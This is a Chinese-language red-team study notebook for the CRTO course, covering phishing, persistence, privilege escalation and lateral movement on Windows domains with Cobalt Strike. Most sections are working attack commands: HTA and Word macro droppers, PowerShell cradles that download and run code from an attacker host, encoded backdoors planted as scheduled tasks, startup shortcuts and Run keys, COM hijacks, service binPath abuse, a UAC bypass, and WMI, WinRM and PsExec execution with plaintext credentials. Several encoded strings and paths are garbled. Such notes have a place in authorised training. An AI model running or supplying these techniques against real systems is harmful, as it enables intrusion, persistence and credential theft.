Crto and others note
持续更新
目录
- Recon
- Organisational
- Technical
- dns Recon
- Social Media
- Initial Compromise
- Password Spraying
- Internal Phishing
- Hta Phishing
- Word VBA Phishing
- Sysmon
- Seatbelt
- CS command
- Host Persistence
- SharPersist
- Arguments/Options
- Add Schtask
- Add lnk file in startup folder
- Add HKCU and HKLM reg to start on boot
- Modifying the Registry
- Hijacking COM Objects
- Blank Service binPath
- SharPersist
- Host Privilege Escalation
- Unquoted Service Paths
- Weak Service Permissions
- Weak Service Binary Permissions
- Always Install Elevated
- Bypass UAC
- Domain Basic Knowledge
- OU
- ACL
- Domain Reconnaissance
- Lateral Movement
- Cabalt Strike Command
- PowerShell Remoting
- WinRM for Lateral Movement
- WinRS for Lateral Movement
- Lateral Movement with Psexec
- WMI for Lateral Movement
- PTH(pass the hash)
- PTT(pass the ticket)
- PTK(pass the key)
- Domain Persistence
- Doamin Privilege Escalation
- Most common paths to AD compromise
ReconOrganisational
需要获取目标集团的人员姓名、组织架构、邮箱信息
Technical
- Passvie:被动侦查依赖第三方来源,如谷歌、Linkedln、shodan、社交媒体(在实战中可以使用如fofa等空间浏览器、github搜索公司一些信息、百度文库等是否存在资料泄露、公司的招标文件或者查看是否存在网络拓扑常见学校)
- Active:主动搜索获取对方域名、ip范围、子域名、vpn系统、OA系统、备案号、端口开放情况、邮箱系统、物联网设备等
dns Recon
使用dnscan进行子域扫描
使用spoofcheck来检测域是否可以被欺骗,该程序检查 SPF 和 DMARC 记录是否存在允许欺骗的弱配置。
Social Media
- 使用Linkedln(领英)获取目标员工信息
- 使用Google Dork获取websites, social media, email addresses
Initial Compromise
假定我们已经进入内网
Password Spraying
获取到邮箱或者账号名,我们可以进行密码爆破,这里组成的爆破字典需要注意当地的语种及语言系统,可以通过github搜索一下该国的弱口令top100
针对Office 365邮箱密码进行爆破我们可以使用 MailSniper和SprayingToolkit
Internal PhishingHta Phishing
VBScript运行calc.exe
#VBScriptHello World Hello World
This is an HTA...
Function Pwn() Set shell = CreateObject("wscript.Shell") shell.run "calc" End Function Pwn
注意:如果使用mshta.exe远程powershell加载后门,如果使用的shellcode是64位的,那么不会有Beacon上线,因为powershell默认调用的是32位的mshta.exe
解决上面问题不需要把shellcode换成32位,可以用下面代码
#VBScript#http://10.10.5.120:80/a为64bit shellcode http://10.10.5.120:80/b为32bit shellcodeHello World Hello World
This is an HTA...
Function Pwn() Set shell = CreateObject("wscript.Shell") If shell.ExpandEnvironmentStrings("%PROCESSOR_ARCHITECTURE%") "AMD64" Then shell.run "powershell.exe -nop -w hidden -c ""IEx ((new-object net.webclient).downloadstring('http://10.10.5.120:80/a'))"" Else shell.run "powershell.exe -nop -w hidden -c ""IEx ((new-object net.webclient).downloadstring('http://10.10.5.12o:8o/b'))" " End If End Function Pwn
Word VBA Phishing
使用VBA脚本执行calc.exe
1、创建宏文件 xx.docm 或者xx.doc (推荐)2、创建宏 View>Macros>CreateSub AutoOpen()Dim Shell As ObjectSet Shell = CreateObject("wscript.shell")Shell.Run "calc"End Sub
注意保存钓鱼文件时,记得删除一些个人信息
点击File>info>Inspect Document>Inspect Document
勾选个人信息,然后点击检查
检查出泄露信息删除
如果需要在VBA中运行powershell和如何制作欺骗文档见OSEP笔记
Sysmon
为了能直观的监测整个攻击,需要安装sysmon进行监控
有两种方案
ELK+Sysmon+Winlogbeat 这种方案优点就是可持续动态监控,缺点就是安装麻烦 ***
Sysmon+SysmonTools 优点部署容易,缺点每次分析sysmon日志需要重新导入到SysmonView **
sentinel-attack 待测试
watchAD 360团队研发的域安全入侵感知系统 ***
BlueSpawn 开源EDR **
RmEye 基于Sysmon的轻量级EDR,安装简单 *
maltrail 流量监控工具
Seatbelt
项目地址:https://github.com/GhostPack/Seatbelt
.Net 内网渗透工具,项目预编译使用的是.NET Framework3.5
这里有三条命令来查询计算机的.NET Framework版本信息
1、csBeacon>reg queryv x64 HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full Release2。cmdcmd>reg query "HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP" /s3、powershellpowershell>Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse | Get-ItemProperty -Name version -EA 0 | Where { $_.PSChildName -Match '^(?!S)\p{L}'} | Select PSChildName, version
由于CRL组件的影响,我们不需要在枚举机器上安装.NET 3.5
从内存加载Seatbelt :https://anquan.baidu.com/article/1153
CS command
- Screenshots 截屏
- keylogger 键盘记录
- jobs/jobkill 停止键盘记录
Host Persistence
常见的三种持久化方法
- HKCU /HKLM Registry Autoruns
- Scheduled Tasks
- Startup Folder
SharPersistArguments/Options
- -t – persistence technique
- -c – command to execute
- -a – arguments to command to execute (if applicable)
- -f – the file to create/modify
- -k – registry key to create/modify
- -v – registry value to create/modify
- -n – scheduled task name or service name
- -m – method (add, remove, check, list)
- -o – optional add-ons
- -h – help page
Add Schtask
使用SharPersist 添加一个名为Updater服务名的计划任务,计划任务为使用powershell每隔一小时远程加载base64加密的后门脚本
#in Powershell#base64加密IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))Ps c:\> $str = IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))PS c:\>[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))SQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAAAG4AZQBOAC4AWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWB3AGAAABVAGEAZABZAHQACRBPAG4AZWAOACIAABOAHQACAA6ACBALWAXADAALAXADAALgA1AC4AMQAyADAALWBhACIAKQApAA=
#in linux#base64加密IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))root@kali:# str-'IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))'root@kali:# echo -en $str | iconv -t UTF-16LE | base64 -w oSQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAARAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWBAG4AABVAGEAZABZAHQACBPAG4AZWAOACIAABOAHQACAA6AC8ALWAXADAALAXAD AALgA1AC4AMQAyADAALWBhACIAKQApAA==
使用CS内存执行SharPersist添加一个名为Updater服务名的计划任务,计划任务为使用powershell每隔一小时远程加载base64加密的后门脚本
#csbeacon> execute-assembly c:Tools\SharPersist\SharPersist\bin\Debug\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\vl.\powershell.exe -a "-nop -w hidden -encSQBFAFAIAAOACAbBIAHCALQBVAGIARRBIAGMAdAAAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBUAHQAKQAUAGQAbWB3AGAAABVAGEAZABZAHQACRBPAG4AZWAOACIAABOAHQACAA6ACBALWAXADAALAXADAALgA1AC4AMQAyADAALwBhACIAKQApAA==" -n "Updater" -m add -o hourly[*] INFo: Adding scheduled task persistence[*] INFo: Command: C:\Windows\System32\WindowsPowerShell\v1.o\powershell.exe [*] INFo: Command Args: -nop -w hidden -encSQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAAAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWB3AGAAABVAGEAZABZAHQACBPAG4AZWAOACIAABOAHQACAA6AC8ALWAXADAALAXADAALgA1AC4AMQAyADAALWBhACIAKQApAA==[*] INFo: Scheduled Task Name: Updater [*] INFo: Option: hourly[+] succEss: Scheduled task added
Add lnk file in startup folder
用户第一次登录时,启动文件夹中的应用程序、文件和快捷方式会自动启动
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Debug\SharPersist.exe -t startupfolder -c "C: \Windows\System32\WindowsPowerShelllv1.0\powershell.exe" -a "-nop -w hidden -encSQBFAFgAIAAOACgAbgBlAHCALQBvAGIAagBlAGMAdAAgAG4AZQBOAC4AdwBlAGIAYwBSAGKAZQBuAHQAKQAuAGQAbwB3AG4AbABVAGEAZABZAHQAcgBpAG4AZWAOACIAAABOAHQACAA6AC8ALWAXADAALgAXADAALgA1AC4AMQAyADAALwBhACIAKQApAA==" -f "UserEnvSetup" -m add[*] INFO: Adding startup folder persistence[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [*] INFO: Command Args: -nop -w hidden -encSQBFAFgAIAAOACgAbgBlAHCALQBvAGIAagBIAGMAdAAgAG4AZQBOAC4AdwBlAGIAYwBsAGKAZQBuAHQAKQAUAGQAbwB3AG4AbABVAGEAZABZAHQACgBpAG4AZWAOACIAAABOAHQACAA6AC8ALWAXADAALgAXAD AALgA1AC4AMQAyADAALWBhACIAKQApAA==[*] INFO: File Name: UserEnvSetup[+] SUCCESS: Startup folder persistence created[*] INFO: LNK File located at: C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.1nk [*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1FODA3FF444D9B7244C41370B88061472933B2607A169BC
Add HKCU and HKLM reg to start on boot
创建hkcurun注册表自启动
beacon> cd C:\ProgramDatabeacon> upload C:\Payloads\beacon-http.exebeacon> mv beacon-http.exe updater.exebeacon> execute-assembly C:\Tools\SharPersistSharPersistlbin\Debug\SharPersist.exe -t reg -c "C:\ProgramDataUpdater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add[*] INFO: Adding registry persistence[*] INFO: Command: C:\ProgramData\Updater.exe[*] INFO: Command Args: /q /n[*] INFO: Registry Key: HKCUY\Software\Microsoft Windows\CurrentVersion\Run[*] INFO: Registry Value: Updater[*] INFO: Option:[+] SUCCESS: Registry persistence added
Modifying the Registry
注册表HKCR\Environment\UserInitMprLogonScript键值所指的程序会在杀毒软件启动前启动,而且修改它不需要管理员权限,因此我们可以通过其来达到权限维持的效果。
该方法节选自APT28样本技术栈:https://www.kanxue.com/chm.htm?id=17861
#powershell修改New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\1.bat" -propertyType string | Out-Null#wmic修改wmic ENVIRONMENT create name="UserInitMprLogonScript",username="%username%",VariableValue="c:\test\1.bat"
注意:在目标机器存在360时,操作注册表会弹窗风险提示,需要绕过360进行注册表的修改
Hijacking COM Objects
由于劫持COM组件存在很大的业务和系统风险,所以我们需要在目标机器上查找安全影响力较小的组件
我们可以使用Process Monitor,在目标机器上运行procmon64.exe
查找符合以下要求的COM组件
- RegOpenKey operations.
- where the Result is NAME NOT FOUND.
- and the Path ends with InprocServer32.
点击OK进行搜索,就能看到很多可以用于劫持的CLSID,尽可能选择常用的工具CLSID但不能使用的太频繁,如最好不要劫持浏览器。
这里选择C:\Windows\system32\DllHost.exe里面的CLSID,地址为
HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32
我们可以在HKLM中找到该路径,但在HKCU不存在
利用这点,我们可以在注册表里创建一个HKCU项,并把Value指向Beacon DLL。
PS C:\> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A805}"PS C:\> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.d11"PS C:\> New-ItemProperty -Path "HKCU:Softwarel\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
当DllHost.exe加载这个COM组件时,我们就能得到一个Beacon。
寻找可劫持COM组件的另一个好地方是任务调度程序。许多默认的Windows任务实际上使用自定义触发器来调用COM对象,而不是在磁盘上执行二进制文件。因为它们是通过任务调度程序执行的,所以更容易预测它们何时被触发。我们可以使用以下PowerShell来查找兼容的任务。
#Powershell script$Tasks = Get-ScheduledTaskforeach ($Task in $Tasks){if ($Task.Actions.ClassId -ne $null){if ($Task.Triggers.Enabled -eq $true){if ($Task.Principal.GroupId -eq "Users"){Write-Host "Task Name: " $Task.TaskName Write-Host "Task Path: " $Task.TaskPath Write-Host "CLSID: " $Task.Actions.ClassId Write-Host}}}}
输出如下
查找{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}在HKEY_CLASSES_ROOT\CLSID的的文件路径
我们可以看到它是一个InprocServer32,且只存在HKLM而不在HKCU
利用这点,我们可以在注册表里创建一个HKCU项,并把Value指向Beacon DLL。
PS C:\> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"PS C:\> New-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -Name "InprocServer32" -Value "C:\beacon.d11"PS C:\> New-ItemProperty -Path "HKCU:Softwarel\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Blank Service binPath
Service可能存在空白binPath指向,我们可以添加指向为我们的后门文件来进行权限维持
修改Windows服务的可执行路径
sc config binPath=
所以我们可以使用 sc config NetSetupSvc binPath= “\C:\Temp\Beacon.exe”
另一个要求就是如果服务没启动,需要启动服务。
sc config NetSetupSvc start= autosc start NetSetupSvc
Host Privilege Escalation
权限提升需要遵循最小权限原则,即如果下一步操作不需要更高的权限不要去提权。
Unquoted Service Paths
原理,使用该技术进行权限提升有两个条件
未加引号的服务路径是指指向服务二进制文件的路径没有被引号括起来。为什么这是个问题呢?它本身不是,但在特定条件下,它可以导致特权的提升。WMI可用于提取每个服务的列表及其可执行文件的路径。下面是一些例子:
beacon>run wmic service get name,pathname
我们可以看到ALG和AppVClient的路径没有被引用,但是AmazonSSMAgent的路径被引用。不同之处在于后一个路径中有空格。Vuln-Service-1在路径中有空格,也没有引用-这是利用的条件#1。
当Windows试图读取此可执行文件的路径时,它将空格解释为终止符。因此,它将尝试执行以下(顺序):
如果我们可以将二进制文件放入这些路径中的任何一个,服务将在真正的路径之前执行它。当然,不能保证我们有权限写入它们中的任何一个——这是条件#2。
PowerShell Get-Acl cmdlet将显示各种对象(包括文件和目录)的权限。
这里我在自己机器上没找到合适的服务,直接用书上的记录了。
可以看到BUILTIN\Users有写的权限
在权限提升时建议使用TCP协议作为信标、
上传完查看目标进程可以看到本地4444正处在监听状态。
CS连接4444
Weak Service Permissions
这种配置错误在第三方软件中可能常见,两种错误配置造成了提权的风险
低权限用户通过服务器管理器,对服务配置有修改权限,指向其他二进制文件,造成提权(服务上的问题)
低权限用户可写服务二进制文件所在目录,替换服务文件造成提权(二进制文件本身的问题)
注:一种是用户对服务有权限,一种是对服务所在的目录有权限。
这里使用accesschk.exe 来检测是否存在可以利用的服务,该工具是微软官方工具不会被defend查杀。
#检测当前用户可以修改哪些服务accesschk.exe -uwcqv "sec" *
如果服务有这几个特征,说明可以被利用
查看该服务是用什么权限运行的
#修改BinPath路径为后门地址sc config TrustedInstaller binpath= "\"C:\Temp\Beacon.exe\""#启动服务net start TrustedInstaller/sc start TrustedInstaller
Weak Service Binary Permissions
这个和上面的区别是,这个利用是二进制程序本身存在问题导致的覆盖提权
这个输出显示Users对Service 3.exe拥有修改权限。这允许我们简单地用其他内容覆盖二进制文件(请确保先进行备份)。
提示:使用net helpmsg来解决Windows错误代码。
Always Install Elevated
Windows 环境提供组策略设置,允许普通用户使用系统权限安装 Microsoft Windows Installer Package (MSI)。这可以在标准用户想要安装需要系统权限的应用程序并且管理员希望避免向用户提供临时本地管理员访问权限的环境中发现。
从安全的角度来看,这可能会被攻击者滥用,以便将他的权限提升到 SYSTEM 。
确定主机上是否存在此问题,可以使用下面这两条命令或者使用SharpUp
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
最快的利用方式是使用Metasploit Framework构建一个msi包,它将在目标主机上以 SYSTEM 身份执行,并将自动删除以防止安装正在向操作系统注册。
如果你想手动打包msi
为了利用这一点,我们需要将有效负载打包到MSI安装程序中,该安装程序将使用SYSTEM特权进行安装和执行
生成一个新的Windows EXE TCP有效负载并保存到C:\Payloads\beacon-tcp.exe。打开Visual Studio,选择创建一个新项目,并在搜索框中输入“installer”。选择安装向导项目并单击Next。给项目一个名称,如Beaconinstaller,使用C:\Payloads作为位置,在同一目录中选择放置解决方案和项目,然后单击创建。继续单击Next,直到进入步骤3(选择要包含的文件)。单击Add并选择刚刚生成的Beacon有效负载。然后单击“完成”。在“解决方案资源管理器”和“属性”中突出显示BeaconInstaller项目,将TargetPlatform从x86更改为x64。当最终安装这个MSI时,它将作为一个已安装的程序出现在目标机上。您还可以更改其他属性,例如作者和制造商,哪个cd应用程序看起来更合法。右键单击项目并选择View >自定义操作。右键单击“安装”并选择“添加自定义操作”。在自定义动作属性下,将Run64Bit更改为True。
你也可以使用PowerSploit 框架中的脚本将用户帐户添加到本地管理员组中
Bypass UAC
使用Seatbelt 检测配置是否可以Bypass UAC
并不是绕过UAC后就能拥有所有权限,你可以使用TokenPrivileges 选项来查看当前令牌的完整权限
CS也自带两种命令用于Bypass UAC
- elevate
- runasadmin
beacon> runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Domain Basic KnowledgeOU
https://blog.csdn.net/qq_64973687/article/details/128176034
https://cloud.tencent.com/developer/article/1861363
https://www.ssi.gouv.fr/publication/chemins-de-controle-en-environnement-active-directory-chacun-son-root-chacun-son-chemin/
https://blog.csdn.net/weixin_43526443/article/details/122832854
https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
ACLDomain ReconnaissanceLateral MovementCabalt Strike Command
- jump
- remote-exec
remote-exec命令只是提供了一种在远程目标上执行命令的方法。但是,它们不是横向运动的专属,但可以作为横向运动使用。它们需要更多的手动工作来管理有效载荷,但确实为在目标上执行什么提供了更广泛的控制。你还需要使用connect或link手动连接P2P信标。
- Cobalt Strike的其他原语(powershell、execute-assembly等)
PowerShell Remoting
PSRemoting 基于Web 服务管理(WS-Management) 和WinRM 服务(Windows Remote Management)。
确定横向目标操作系统
beacon> remote-exec winrm srv-1 (Get-WmiObject Win32_OperatingSystem).OSArchitecture
在横向移动中,建议使用SMB Beacon,因为SMB协议在Windows环境中被广泛使用。
jump使用winrm自动获取了SRV-1会话。
WinRM for Lateral Movement
上面CS 的jump 就是基于winrm来进行自动横向移动,在无法自动化情况下我们可以使用以下进行手动攻击。
使用 Enter-PSSession
可以在 PowerShell 上直接启动一个与远程主机的交互式会话。在会话期间,您键入的命令在远程计算机上运行,就像您直接在远程计算机上键入一样。
/*•-Name:指定启动的会话名称。•-ComputerName:指定要连接的远程主机名或者 IP。•-Credential:指定有权连接到远程计算机的用户的帐户。•-Port:指定 WinRM 工作端口。*/New-PSSession-NameWinRM1-ComputerName DC.whoamianony.org -Credential whoamianony\administrator -Port5985 Id Name ComputerName ComputerType State ConfigurationName Availability-- ---- ------------ ------------ ----- ----------------- ------------ 1 Session1 dc-mantvydas RemoteMachine Opened Microsoft.PowerShell AvailablePS C:\Users\mantvydas> Enter-PSSession 1[dc-mantvydas]: PS C:\Users\spotless\Documents> calc.exe执行 Exit-PSSession 命令即可退出当前会话。
注意,如果当前网络环境是工作组环境运行,或客户端未加入域,直接使用 Enter-PSSession
可能会报错以下错误
Winrs error:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入到域中,则必须使用 HTTPS 传输或者必须将目标计算机添加到 TrustedHosts 配置设置。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。通过运行以下命令 可获得有关此内容的更多信息: winrm help config。
此时则需要先在客户端执行以下命令才能使用 Enter-PSSession
:
Set-Item wsman:localhostClientTrustedHosts -value *
使用winrm执行目标机器程序
#获取会话后上传木马文件Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)#执行木马文件winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org
另外可以使用Invoke-Command命令远程下载木马并执行
/*•-ComputerName:指定要连接的远程主机名或者 IP。•-Credential:指定有权连接到远程计算机的用户的帐户。•-Command:指定需要执行的命令。*/Invoke-Command-ComputerName192.168.93.30-Credential whoamianony\administrator -Command{ipconfig}# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}
以下命令也能在实际的内网渗透中用到
# 启动PowerShell Remoting Enable-PSRemoting -force# 检查指定目标是否正在侦听WINRM端口Test-NetConnection -CommonTCPPort WINRM# 信任所有主机Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force# 检查哪些主机是可信的Get-Item WSMan:\localhost\Client\TrustedHosts# 在远程主机上执行命令Invoke-Command -Credential $cred -ScriptBlock {Hostname}# 进入具有显示凭据的交互式会话Enter-PSSession -Credential \# 使用Kerberos的交互式会话Enter-PSSession -Authentication Kerberos# 上传文件到远程会话Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)# 从远程会话下载文件Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession)
WinRS for Lateral Movement
WinRS 是 Windows 的远程 Shell,它相当于 WinRM 的客户端,使用它可以访问运行有 WinRM 的服务器,不过自己也得装上 WinRM 才能运行 WinRS。
如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输
# winrs -r:[ip] -u:[username] -p:[password] winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoamiwinrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 ipconfig
执行可能报错:
Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。
此时,需要在客户端上执行下面这条命令,设置为信任所有主机,再去连接即可:
winrm set winrm/config/Client@{TrustedHosts="*"}
参考:https://cloud.tencent.com/developer/article/1883753
Lateral Movement with Psexec
常常在Pass-The-Hash一起使用(PTH),该横向技术动静较大,很容易被SOC监控。
#cs commandbeacon> jump psexec64 srv-1 smbStarted service dd80980 on srv-1[+] established link to child beacon: 10.10.17.25
#手动 让我们使用域管理员凭据从工作站连接`ws01`到域控制器:`dc01`.\PsExec.exe -u administrator -p 123456 \\dc01 cmdpsexec.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
WMI for Lateral Movement
您可能已经注意到,WMI不是jump命令的一部分,但它是remote-exec的一部分。remote-exec方法使用WMI的“进程调用创建”来执行我们在目标上指定的任何命令。最直接的使用方法是将有效载荷上传到目标系统,并使用WMI来执行它。为SMB监听器生成一个x64 Windows EXE,将其上传到目标通过cd’ing到所需的UNC路径,然后使用upload命令。
beacon> cd \\srv-1\ADMIN$beacon> upload C:\Payloads\beacon-smb.exebeacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe Started process 536 on srv-1
该进程现在在SRV-1上运行,所以现在我们需要连接到它。
beacon> link srv-1[+] established link to child beacon: 10.10.17.25
手动执行wmi横向
从另一个受感染的系统 10.0.0.2 在目标系统 10.0.0.6 上生成一个新进程:
wmic /node:10.0.0.6 /user:administrator process call create "cmd.exe /c calc"
PTH(pass the hash)
利用lm(老版本哈希)或ntlm(新版本)的值进行的内网横向
PTT(pass the ticket)
利用的票据凭证TGT进行的内网横向(和加密算法不同的是,PTT采用的票据,使用Kerberos协议)
PTK(pass the key)
利用ekeys、aes256(一种加密算法)进行的内网横向
Domain PersistenceDoamin Privilege EscalationMost common paths to AD compromise